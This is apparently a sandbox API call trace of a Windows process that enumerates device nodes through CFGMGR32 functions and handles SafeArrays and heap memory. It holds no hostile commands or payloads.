0x0 [0205.792] free (_Block=0x20abc281ee0) [0205.792] malloc (_Size=0x18) returned 0x20abc281de0 [0205.793] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0205.793] free (_Block=0x20abc281de0) [0205.793] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0205.793] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0205.793] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0205.793] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0205.793] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0205.793] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0205.793] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0205.793] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0205.793] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0205.794] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.794] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.794] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.794] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.795] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0205.796] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0205.796] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.800] malloc (_Size=0x18) returned 0x20abc282060 [0205.801] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0205.801] malloc (_Size=0x10e) returned 0x20abc286890 [0205.801] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0205.802] free (_Block=0x20abc286890) [0205.802] malloc (_Size=0x48) returned 0x20abc2a8000 [0205.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x366da1a9, dwHighDateTime=0x1d9eb0c)) [0205.802] SetEvent (hEvent=0x248) returned 1 [0205.805] malloc (_Size=0x18) returned 0x20abc281aa0 [0205.805] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0205.805] free (_Block=0x20abc281aa0) [0205.805] malloc (_Size=0x18) returned 0x20abc281e60 [0205.805] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.806] free (_Block=0x20abc281e60) [0205.806] malloc (_Size=0x18) returned 0x20abc281ae0 [0205.806] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.806] free (_Block=0x20abc281ae0) [0205.806] malloc (_Size=0x18) returned 0x20abc281ba0 [0205.806] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.806] free (_Block=0x20abc281ba0) [0205.806] malloc (_Size=0x18) returned 0x20abc2820e0 [0205.806] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.806] free (_Block=0x20abc2820e0) [0205.806] malloc (_Size=0x18) returned 0x20abc281dc0 [0205.806] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.806] free (_Block=0x20abc281dc0) [0205.807] malloc (_Size=0x18) returned 0x20abc281c00 [0205.807] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0205.807] free (_Block=0x20abc281c00) [0205.807] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0205.807] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0205.807] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0205.807] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0205.807] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0205.807] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0205.807] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0205.807] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0205.807] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0205.808] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80480, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.808] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80488, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.808] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80490, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.808] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80498, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.809] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba804a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.809] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba804a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.809] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba804b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.810] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0205.810] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0205.811] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.811] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.813] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.814] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.815] malloc (_Size=0x18) returned 0x20abc281b20 [0205.815] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.013] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x368f0073, dwHighDateTime=0x1d9eb0c)) [0206.014] SetEvent (hEvent=0x248) returned 1 [0206.016] SetEvent (hEvent=0x248) returned 1 [0206.016] free (_Block=0x20abc27cb20) [0206.017] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.017] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x368f0073, dwHighDateTime=0x1d9eb0c)) [0206.017] SetEvent (hEvent=0x248) returned 1 [0206.018] SetEvent (hEvent=0x248) returned 1 [0206.019] free (_Block=0x20abc27cf80) [0206.019] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.019] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x368f0073, dwHighDateTime=0x1d9eb0c)) [0206.019] SetEvent (hEvent=0x248) returned 1 [0206.020] SetEvent (hEvent=0x248) returned 1 [0206.021] free (_Block=0x20abc27cb20) [0206.021] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.022] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36915a83, dwHighDateTime=0x1d9eb0c)) [0206.022] SetEvent (hEvent=0x248) returned 1 [0206.024] SetEvent (hEvent=0x248) returned 1 [0206.025] free (_Block=0x20abc27cb20) [0206.025] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.027] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36915a83, dwHighDateTime=0x1d9eb0c)) [0206.028] SetEvent (hEvent=0x248) returned 1 [0206.028] SetEvent (hEvent=0x248) returned 1 [0206.029] free (_Block=0x20abc27cb20) [0206.029] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0206.029] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x36915a83, dwHighDateTime=0x1d9eb0c)) [0206.029] SetEvent (hEvent=0x248) returned 1 [0206.031] SetEvent (hEvent=0x248) returned 1 [0206.032] free (_Block=0x20abc27cb20) [0206.032] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0206.033] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x36915a83, dwHighDateTime=0x1d9eb0c)) [0206.033] SetEvent (hEvent=0x248) returned 1 [0206.034] SetEvent (hEvent=0x248) returned 1 [0206.035] free (_Block=0x20abc27cf80) [0206.035] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0206.035] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36915a83, dwHighDateTime=0x1d9eb0c)) [0206.035] SetEvent (hEvent=0x248) returned 1 [0206.038] SetEvent (hEvent=0x248) returned 1 [0206.039] free (_Block=0x20abc27cb20) [0206.039] CM_Get_Device_IDA (in: dnDevInst=0x2b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{F8947BB0-075C-45F9-86B2-578590F8FCA9}") returned 0x0 [0206.039] malloc (_Size=0x48) returned 0x20abc27cf80 [0206.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3693bcef, dwHighDateTime=0x1d9eb0c)) [0206.039] SetEvent (hEvent=0x248) returned 1 [0206.040] SetEvent (hEvent=0x248) returned 1 [0206.041] free (_Block=0x20abc27cf80) [0206.041] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0206.041] malloc (_Size=0xe6) returned 0x20abc286890 [0206.041] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0206.042] free (_Block=0x20abc286890) [0206.042] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3693bcef, dwHighDateTime=0x1d9eb0c)) [0206.042] SetEvent (hEvent=0x248) returned 1 [0206.043] malloc (_Size=0x18) returned 0x20abc281ae0 [0206.043] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0206.043] free (_Block=0x20abc281ae0) [0206.043] malloc (_Size=0x18) returned 0x20abc281fc0 [0206.043] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0206.043] free (_Block=0x20abc281fc0) [0206.043] malloc (_Size=0x18) returned 0x20abc281cc0 [0206.043] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abbb00708) returned 0x0 [0206.043] free (_Block=0x20abc281cc0) [0206.043] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0206.043] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0206.043] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0206.043] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0206.043] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0206.043] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0206.043] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0206.044] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0206.044] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0206.044] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.044] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.044] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93600, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.045] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0206.045] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0206.046] SetEvent (hEvent=0x248) returned 1 [0206.046] free (_Block=0x20abc27cb20) [0206.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0206.047] malloc (_Size=0x54) returned 0x20abc2a7ae0 [0206.047] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7ae0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7ae0, pulLength=0x2dc22fd3f8) returned 0x0 [0206.047] free (_Block=0x20abc2a7ae0) [0206.048] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3693bcef, dwHighDateTime=0x1d9eb0c)) [0206.048] SetEvent (hEvent=0x248) returned 1 [0206.048] malloc (_Size=0x18) returned 0x20abc281ee0 [0206.048] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0206.048] free (_Block=0x20abc281ee0) [0206.048] malloc (_Size=0x18) returned 0x20abc281e80 [0206.048] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0206.048] free (_Block=0x20abc281e80) [0206.048] malloc (_Size=0x18) returned 0x20abc281a00 [0206.048] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0206.049] free (_Block=0x20abc281a00) [0206.049] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0206.049] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0206.049] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0206.049] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0206.049] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0206.049] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0206.049] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0206.049] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0206.049] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0206.049] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.049] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.050] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0206.051] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0206.051] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0206.052] SetEvent (hEvent=0x248) returned 1 [0206.052] free (_Block=0x20abc27cb20) [0206.241] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0206.241] malloc (_Size=0x48) returned 0x20abc27cb20 [0206.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x36b2bb8f, dwHighDateTime=0x1d9eb0c)) [0206.242] SetEvent (hEvent=0x248) returned 1 [0206.245] malloc (_Size=0xd8) returned 0x20abc2867b0 [0206.245] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0206.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0206.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0206.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 